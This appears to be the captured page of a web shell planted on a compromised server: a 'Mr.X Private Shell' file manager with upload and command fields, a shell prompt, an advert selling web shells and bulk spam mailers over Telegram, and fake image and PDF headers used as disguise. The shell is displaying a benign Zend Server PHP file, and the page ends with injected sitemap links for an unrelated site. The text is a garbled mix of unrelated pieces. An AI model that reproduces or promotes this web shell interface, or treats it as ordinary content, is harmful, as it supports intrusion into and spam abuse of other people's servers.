xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace ZendServer\Http;

use WebAPI\Db\Mapper;
use ZendServer\Log\Log;

class RequestsUtils
{
    protected $webAPIKeyMapper;
    protected $error = '';

    /**
     * @param $webAPIKeyMapper
     */
    public function setWebAPIKeyMapper($webAPIKeyMapper)
    {
        $this->webAPIKeyMapper = $webAPIKeyMapper;
    }

    /**
     * @return 
     */
    public function getWebAPIKeyMapper()
    {
        return $this->webAPIKeyMapper;
    }

    /**
     * @param  $error
     */
    public function setError($error)
    {
        $this->error = $error;
    }

    /**
     * @param  $error
     */
    public function clearError()
    {
        $this->error = '';
    }

    /**
     * @return 
     */
    public function getError()
    {
        return $this->error;
    }

    /**
     * @brief send request to another host (useful for redirecting requests to another node in a cluster)
     * @param string $method - "get"/"post"
     * @param string $host - only the hostname/ip
     * @param string $port 
     * @param string $action - the name of the web API (e.g. "codetracingGetRootNode")
     * @param array $params 
     * @param string $responseType - json/xml
     * @return array - e.g. {"responseCode":"200", "responseBody": "..."}
     */
    public function propagateWebapiRequest($method, $host, $port, $action, array $params = array(),
                                           $responseType = 'json')
    {
        $this->clearError();

        $path = \Application\Module::config('baseUrl').'/Api/'.$action;
        $url  = "http://{$host}:{$port}{$path}";

        $key = $this->getWebAPIKeyMapper()->findKeyByName(\WebAPI\Db\Mapper::SYSTEM_KEY_NAME);
        if (!$key) {
            $this->setError('Could not retrieve the webapi key to connect to cluster member');
            return false;
        }

        $userAgent = "ZSWebApi{$action}/1.0";
        $date      = gmdate('D, d M Y H:i:s').' GMT';

        $signatureGenerator = new \WebAPI\SignatureGenerator();
        $signature          = $signatureGenerator
            ->setHost("{$host}:{$port}")
            ->setUserAgent($userAgent)
            ->setDate($date)
            ->setRequestUri($path)
            ->generate($key->getHash());

        // prepare the CURL object
        if (!function_exists('curl_init')) {
            Log::err('CURL module is not loaded. Cannot forward the request to '.$host);
            $this->setError('CURL module is not loaded');
            return false;
        }

        // prepare parameters for the request
        $streamOpts = array(
            'http' => array(
                'method' => strtoupper($method)
            )
        );

        // add paramters to the request
        if (!empty($params)) {
            $params = http_build_query($params);
            if (strcasecmp($method, 'post') == 0) {
                $streamOpts['http']['content'] = $params;
            } else {
                $url .= '?'.$params;
            }
        }

        // prepare request headers
        $headers                      = array(
            'Date: '.$date,
            'Accept-Language: '.'he-IL,he;q=0.8',
            'User-Agent: '.$userAgent,
            'X-Zend-Signature: '.Mapper::SYSTEM_KEY_NAME.';'.$signature,
            'Accept: '.'application/vnd.zend.serverapi+'.$responseType,
        );
        $streamOpts['http']['header'] = implode("\r\n", $headers);

        // set timeout
        $currentTimeout = ini_get('max_execution_time');
        if (!$currentTimeout || !is_numeric($currentTimeout) || !($currentTimeout > 0)) {
            $currentTimeout = 30; // set the default
        } else {
            $currentTimeout = intval($currentTimeout); // convert to int just to be sure
        }
        $streamOpts['http']['timeout'] = ($currentTimeout - 5);

        // create stream context
        $context = stream_context_create($streamOpts);

        // execute the request
        $result = @file_get_contents($url, null, $context);

        // get the response headers
        $headers = $this->parseHeaders($http_response_header);

        // get the response information
        $httpCode = $headers['reponse_code'];

        Log::debug("propagating '{$method}' request to '{$url}' with parameters '".json_encode($params)."'".
            "Result:".($result === false ? 'failure' : 'success').", response code {$httpCode}");

        if ($result === false) {
            $error_message = _t("HTTP webapi request to %s failed", array($url));
            Log::debug($error_message);
            $this->setError($error_message);
            return false;
        }

        return array(
            'responseCode' => $httpCode,
            'responseBody' => $result
        );
    }

    /**
     * @brief Parse the response headers of "file_get_contents" function
     * @link http://php.net/manual/en/reserved.variables.httpresponseheader.php
     * @param <unknown> $headers 
     * @return  
     */
    protected function parseHeaders($headers)
    {
        $head = array();
        foreach ($headers as $k => $v) {
            $t                 = explode(':', $v, 2);
            if (isset($t[1])) $head[trim($t[0])] = trim($t[1]);
            else {
                $head[]               = $v;
                if (preg_match("#HTTP/[0-9\.]+\s+([0-9]+)#", $v, $out)) $head['reponse_code'] = intval($out[1]);
            }
        }
        return $head;
    }
}

Filemanager

Name Type Size Permission Actions
Header Folder 0755
RequestsUtils.php File 5.32 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml